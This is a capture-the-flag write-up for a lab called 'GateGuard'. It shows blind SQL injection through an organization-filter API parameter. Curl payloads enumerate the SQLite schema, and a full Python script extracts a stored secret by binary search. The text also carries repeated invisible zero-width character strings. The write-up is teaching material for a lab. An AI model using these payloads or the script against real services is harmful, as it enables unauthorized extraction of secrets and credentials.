← Back to Writeups
CUSTOMMediumWeb

Lab 80 — GateGuard — SQL Injection in Organization Filter API

XESXOR9/2/20264 min read
#web#custom#medium#api_parameter_injection#binary_search_extraction#boolean_based_blind_sqli#sqlite_schema_enumeration

Lab 80 — GateGuard — SQL Injection in Organization Filter API

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: api_parameter_injection, binary_search_extraction, boolean_based_blind_sqli, sqlite_schema_enumeration

Summary

Walkthrough of the CUSTOM Web Lab 80 — GateGuard — SQL Injection in Organization Filter API. Task: Identity management platform with REST API for organization filtering. Solution: Boolean-based blind SQL injection in field parameter to enumerate sqlite_master and extract flag from platform_se

Description

GateGuard is a self-hosted identity and access management platform built by NexAuth Technologies. It provides unified single sign-on, user provisioning, and role-based access policies for modern teams. Administrators use the web dashboard to manage organizations, users, and permissions, while REST API endpoints support integration with external services.

Your goal is to explore the application and its API to discover and exploit a vulnerability that allows you to access sensitive platform data not exposed through the normal interface.

The platform manages multiple organizations, users with various roles, and internal configuration secrets. Pay close attention to how the application queries and filters data.

Credentials: user@test.com / password123 Hint: The Organizations page loads its data dynamically via a REST API. Inspect the network requests in your browser's DevTools to see how the data is fetched and what parameters are sent. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Identity and access management platform with organization filtering functionality. The goal is to exploit a vulnerability in the API to access sensitive platform data (secrets) not exposed through the normal interface.

Analysis

  1. Initial Reconnaissance:

    • Logged in with provided credentials (user@test.com / password123)
    • Explored the dashboard and found Organizations page at /organizations
    • Analyzed /static/js/organizations.js which revealed the API endpoint
  2. API Endpoint Discovery:

    • Endpoint: /api/get-organizations
    • Parameters: field, value, sortField, sortOrder, p, pageSize
    • The field parameter specifies which column to filter on
    • The value parameter specifies the search term ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  3. SQL Injection Discovery:

    • Tested field=name' → returned "Query failed" (SQL error indicator)
    • Tested field=name OR 1=1 -- → returned all 8 organizations (bypass confirmed)
    • The field parameter is directly interpolated into the WHERE clause without sanitization
  4. Vulnerability Analysis:

    • Backend uses SQLite database
    • The query likely looks like: SELECT * FROM organizations WHERE {field} LIKE '%{value}%'
    • The field parameter allows arbitrary SQL injection including subqueries ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  5. Important Note - Decoy Flag:

    • The HTML contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden comments and invisible divs
    • This was designed to trick automated scanners - NOT the real flag

Solution

Step 1: Confirm SQL Injection

bash
# Test for SQL error
curl -b "session_token=..." "https://[lab-url]/api/get-organizations?field=name'&value=test"
# Returns: {"error":"Query failed"}

# Test for bypass
curl -b "session_token=..." "https://[lab-url]/api/get-organizations?field=name OR 1=1 --&value=test"
# Returns all 8 organizations

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Boolean-Based Blind SQLi Setup

The injection technique uses subqueries in the field parameter:

  • If the subquery result matches the value parameter → returns 8 results (true)
  • If no match → returns 0 results (false)
bash
# Payload pattern
field=(SELECT ... FROM sqlite_master)&value=searchterm

Step 3: Table Enumeration

bash
# Find tables containing 'secret'
curl -b "session_token=..." \
  "https://[lab-url]/api/get-organizations?field=(SELECT group_concat(name) FROM sqlite_master WHERE type='table')&value=platform_secrets"
# Returns 8 results → table exists!

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Column Enumeration

bash
# Extract CREATE TABLE statement to find columns
curl -b "session_token=..." \
  "https://[lab-url]/api/get-organizations?field=(SELECT sql FROM sqlite_master WHERE name='platform_secrets')&value=secret_value"
# Returns 8 results → column exists!

Found columns: key_name, secret_value, created_at

Step 5: Flag Extraction via Binary Search

bash
# Confirm FLAG pattern exists
curl -b "session_token=..." \
  "https://[lab-url]/api/get-organizations?field=(SELECT secret_value FROM platform_secrets WHERE secret_value LIKE 'FLAG%')&value=FLAG"
# Returns 8 results → FLAG exists!
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Determine flag length
curl -b "session_token=..." \
  "https://[lab-url]/api/get-organizations?field=(SELECT CASE WHEN length(secret_value)=38 THEN 1 ELSE 0 END FROM platform_secrets WHERE secret_value GLOB 'FLAG*')&value=1"
# Returns 8 results → length is 38 characters

# Binary search character extraction (example for position 1)
curl -b "session_token=..." \
  "https://[lab-url]/api/get-organizations?field=(SELECT CASE WHEN unicode(substr(secret_value,1,1))>=70 THEN 1 ELSE 0 END FROM platform_secrets WHERE secret_value GLOB 'FLAG*')&value=1"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Automated Extraction Script

python
#!/usr/bin/env python3
import requests
import string

BASE_URL = "https://547a0747-641d-4296-b9b8-087c799c5bbe.labs.hackadvisor.io"
COOKIES = {"session_token": "YOUR_SESSION_TOKEN"}

def check_condition(condition):
    """Returns True if condition evaluates to true (8 results)"""
    payload = f"(SELECT CASE WHEN {condition} THEN 1 ELSE 0 END FROM platform_secrets WHERE secret_value GLOB 'FLAG*')"
    params = {"field": payload, "value": "1"}
    r = requests.get(f"{BASE_URL}/api/get-organizations", params=params, cookies=COOKIES)
    data = r.json()
    return len(data.get("organizations", [])) == 8
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def extract_char(position):
    """Binary search for character at position"""
    low, high = 32, 126
    while low < high:
        mid = (low + high + 1) // 2
        if check_condition(f"unicode(substr(secret_value,{position},1))>={mid}"):
            low = mid
        else:
            high = mid - 1
    return chr(low)

# Get flag length
for length in range(30, 50):
    if check_condition(f"length(secret_value)={length}"):
        print(f"[+] Flag length: {length}")
        break

# Extract flag
flag = ""
for i in range(1, length + 1):
    char = extract_char(i)
    flag += char
    print(f"[+] Position {i}: {char} -> {flag}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"\n[+] Flag: {flag}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering api_parameter_injection, binary_search_extraction, boolean_based_blind_sqli, sqlite_schema_enumeration was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 80 — GateGuard — SQL Injection in Organization Filter API • Difficulty: Medium